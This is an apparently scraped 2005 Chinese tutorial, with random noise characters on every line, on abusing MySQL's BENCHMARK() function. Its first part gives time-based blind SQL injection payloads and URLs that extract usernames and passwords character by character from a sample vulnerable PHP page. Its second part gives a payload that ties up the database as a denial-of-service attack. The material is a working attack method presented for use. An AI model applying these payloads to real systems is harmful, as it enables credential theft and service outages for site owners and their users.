MYSQL中BENCHMARK函数的利用
; ^% j% F* C) G本文作者:SuperHei$ l/ x! Z7 {0 e" M: }
文章性质:原创
$ ~7 A4 l# `" T4 X发布日期:2005-01-02
* X3 R, `" D# `3 b+ P7 ~. p4 l" I) m完成日期:2004-07-09
6 T3 Z5 d/ T5 f第一部
3 D* j( B# Q, G7 o" |: M' i
3 V: J& l) `" _( R) n9 N1 i. x利用时间推延进行注射---BENCHMARK函数在注射中的利用 & y7 U6 z( o, G5 z
. N. _; j% T+ u& P5 R% V一.前言/思路& R' n$ P. O9 B; ]
6 Z- K# ^6 J) g" B& k* \5 C 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。+ `- r7 e9 }; L6 O u: }! U! H- ` n
" v/ j4 m7 O! P1 s6 | 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
1 r" b7 l) B T7 D2 V" [" h( k# l5 F+ L
+ j7 m% E( Z9 Z. i二.关于BENCHMARK函数
! \% w1 p" { m# d: W3 A* @' x$ ^; D# N/ {
在MySQL参考手册里可以看到如下描叙: ' g( Z# X8 F$ S: Z- y
5 ?4 [/ x5 r0 I% m0 e k
# Q6 ^1 I O z* y# z" W+ c
-------------------------------------------------------------------------------- n9 `) b4 h/ @
Z1 U5 ?" f, q; z
BENCHMARK(count,expr) ' d& D/ \ R' y$ H9 P; R- M5 |
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 % S) u8 X( B/ i4 T
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 7 S+ A5 \3 e% A) w f
+----------------------------------------------+
. L: r/ b* y! C4 r6 z| BENCHMARK(1000000,encode("hello","goodbye")) |
" [- I8 D+ p3 t: g9 E+ i2 e: t3 k9 k+----------------------------------------------+ % V3 E1 ~! R* v) V2 E+ }$ C
| 0 |
; b5 T& ]' B+ i! R& i' h+----------------------------------------------+
5 w( i8 D! N- c6 S, [1 row in set (4.74 sec) ; p* s) E5 I* o+ i* ?, o& }' k
& c% v1 m- ^; v T# w( H3 X报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
; y Q0 L5 o0 A6 _/ ]2 A3 z0 t5 F2 t% v
! k. [) J& y& ^ {. N* K
--------------------------------------------------------------------------------
a6 q9 B# B$ f, B) ?1 E: e- @- ?& ~# _3 a+ c$ f1 L, C
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
- i0 X" l6 I3 c( Z% g$ m' B& m/ |' w8 q" a1 `; k s
mysql> select md5( 'test' ); 2 a3 O' n9 C3 Q) n3 q/ H
+----------------------------------+
9 V! c! w# k% l9 R& M| md5( 'test' ) | 1 M, ]* s4 ~$ K. M" {3 Y
+----------------------------------+ : _5 t v+ Q, ^: m2 y7 w$ L
| 098f6bcd4621d373cade4e832627b4f6 | : ^2 V$ r6 P- v2 s: U! p: }4 A
+----------------------------------+ # l9 T0 ?9 D7 \9 K! g) N
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
8 ^: k9 P% k/ Z
9 i7 ], i9 ?: E3 T) ^mysql> select benchmark( 500000, md5( 'test' ) );
, v* J/ g* C3 w* R) i6 g+------------------------------------+ . |4 N6 Y$ e# X6 B5 I
| benchmark( 500000, md5( 'test' ) ) | & t S7 \( l1 d' k
+------------------------------------+
~; L4 e6 H& p| 0 | ( n' ^# |, T7 `: t$ H4 s
+------------------------------------+ + F$ A. ~% Z1 O6 D2 H( n3 z
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec: Q/ H6 y; I7 A* e, J* d
5 k& a/ v! |& B$ T% o* h V
, e( C- e; Y# d5 U' M, y5 G4 x 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
2 _0 `- g; M6 d* `: K3 j) y* P: W/ x- ]
三.具体例子9 I P5 g. X& e5 K# r b6 B
8 x% I6 B B, w+ K" r0 A# A; E 首先我们看个简单的php代码:$ D. I! J' H, V9 Z0 O6 @
$ p& f: E! \, @" m# L: f
< ?php 0 a( o1 Q) n" }$ Q
$servername = "localhost";
4 @. x N3 n( ~6 C$dbusername = "root"; , ?2 S |1 p, K/ n) d% }3 T
$dbpassword = "";
4 J# ?- q' M9 S$dbname = "injection"; 4 S: m% ^* B& i$ M, {3 [
' m2 V, D, G; I6 C# o
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 5 S) O q# o! G w/ b9 c
$ r) Y1 @6 d4 S' f
$sql = "SELECT * FROM article WHERE articleid=$id"; 8 C" Z q/ s, A! l
$result = mysql_db_query($dbname,$sql); ' V$ S! J6 V/ W& I
$row = mysql_fetch_array($result);
1 m$ h! z8 T: I. X/ t' I
) p+ a1 F- t, N9 Q: ] e; Lif (!$row) * b2 L8 i: I/ X! O* ^" x
{ `: q9 H) R q- [4 \# ~
exit;
- g9 P! N; Q% d9 o6 `}
1 @6 ]5 o$ ]) E?>
- a C" N f8 P1 _4 L# y
- ], h4 w; r5 s5 O+ J- T; m
$ D) x" N5 a* B& [8 v8 d 数据库injection结构和内容如下:8 {. u- A7 \8 z7 U8 W7 q( ]
% K+ v' I% Z( }2 ]5 W# 数据库 : `injection`
, b% X# T* N8 z9 P* O0 R% q# 1 l4 f6 ]: }2 w
' r8 P4 h, ]+ [ r
# -------------------------------------------------------- ; l4 X x) r+ b" i7 X6 j4 m. B
2 z3 S4 z; @8 X% q" Z0 c# - Z K. E1 ]6 e: B; }
# 表的结构 `article`
8 S+ E4 V0 B" d+ P' i9 W: {# 9 p" W1 a3 i4 G0 m5 `" l. o
$ y- v7 W& K$ A
CREATE TABLE `article` (
# m% [9 Q" W; y% X" R& ``articleid` int(11) NOT NULL auto_increment, 0 R0 A3 O2 F& C9 N
`title` varchar(100) NOT NULL default '', 4 E8 g/ S$ F2 O0 t3 R% v9 u
`content` text NOT NULL, ) Q( v- P6 R0 h
PRIMARY KEY (`articleid`) / y/ ?9 k* d1 }7 ]3 A3 x
) TYPE=MyISAM AUTO_INCREMENT=3 ;
( v# N2 N( r0 T, G* B
% W; ~+ W" _2 h2 m3 i, a#
0 Q; L- z# D/ `- t$ j2 C" D# 导出表中的数据 `article` * O: u9 x E2 G+ D4 b
# * _9 S$ ]1 [% M
9 L- L* x* v$ O! j& M& CINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); / w! E: a7 @4 ]; Z
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 8 b: c' d2 v( y/ m
9 g" P( y( f5 Y4 U5 P+ S* G# --------------------------------------------------------
+ ~- d$ W( Z3 a% [% F5 q9 z: e3 n$ ?! Z* A4 ~6 ]
#
6 z" Q1 }, E* _6 j0 `$ t& p3 B# 表的结构 `user` # y t7 h. e! D+ C
#
6 S, E6 A6 }- Q9 f% r7 U1 ~1 ~0 S% k
CREATE TABLE `user` ( 4 N# Q7 \% |2 d- W) r( [
`userid` int(11) NOT NULL auto_increment, , k6 ?0 a6 e' r0 q
`username` varchar(20) NOT NULL default '',
' a0 i# s$ d4 z% c. M- t`password` varchar(20) NOT NULL default '',
! y2 | i/ e4 d2 `% h( ?" k0 p$ {PRIMARY KEY (`userid`)
) v) Z0 i2 N4 k/ S) TYPE=MyISAM AUTO_INCREMENT=3 ; / ~; o8 u) a. r1 C8 l, v3 s
: V& i: p6 [, `/ X; T' z
#
$ V0 D( [% K; m( L$ s6 S( T) N$ o" ~# 导出表中的数据 `user`
9 ]$ U p& D3 g, b& M9 Q# _# , R* G) d0 w! b' A, b8 @
; R2 \; q4 ^9 h/ _
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 5 l! B1 b' G9 q5 a1 u) k
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');3 ]1 D2 m0 H. B6 n1 ?
" Q' i3 s% `/ D& T1 M, V0 c
7 K3 j8 |2 Q$ T8 ~6 \6 R 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
0 I! G5 V3 c0 A; A8 E3 w) j! b. ~$ P7 e* U; t
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
1 d [+ a8 q# }, o/ t9 ~& E ! Y# x/ j3 ^9 h% d: s1 B
( r% z' p$ w' C" h0 d8 q 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:+ S1 o3 \5 g' I& F# t! h/ G
/ `2 S8 H* l0 V5 A; i# f) z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
- y( |7 ` E: [1 p; Z* [ H/ h ( q0 Q3 T: Q$ z3 R( `
- G4 \9 M4 {* J: \. _6 W+ ?2 U
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 : X4 n1 z: s- \& L
0 ]0 M" \- Z/ r
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 * L5 V' r& U9 C) }7 M% u7 b7 n7 z
. v. u, Q0 Z2 h2 \% _0 j8 _; {6 ?第二部
3 T* M9 O" g) W( R H$ i3 X& T( B: O- U Z/ B; L$ }. Q
利用BENCHMARK函数进行ddos攻击
' W# G: i& [6 d( C- ~- K$ U7 E5 l& x4 A. O
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:/ [) J- o4 u& U' P3 D
& Q" A. {7 I3 t, X3 H/ w5 p
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))7 N7 L7 b) X* R5 Y# [1 E( f
( H/ p- b, G/ f+ k
) P1 ]$ P* w/ u5 u
小结" y/ [ V n4 Q% d) j+ p `6 l# B
1 J) y+ D+ y6 b- L
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
. I0 y/ C1 Y& q, R ( p3 y8 H$ r' y) E
" u+ ~( G! S; N+ k" `# w |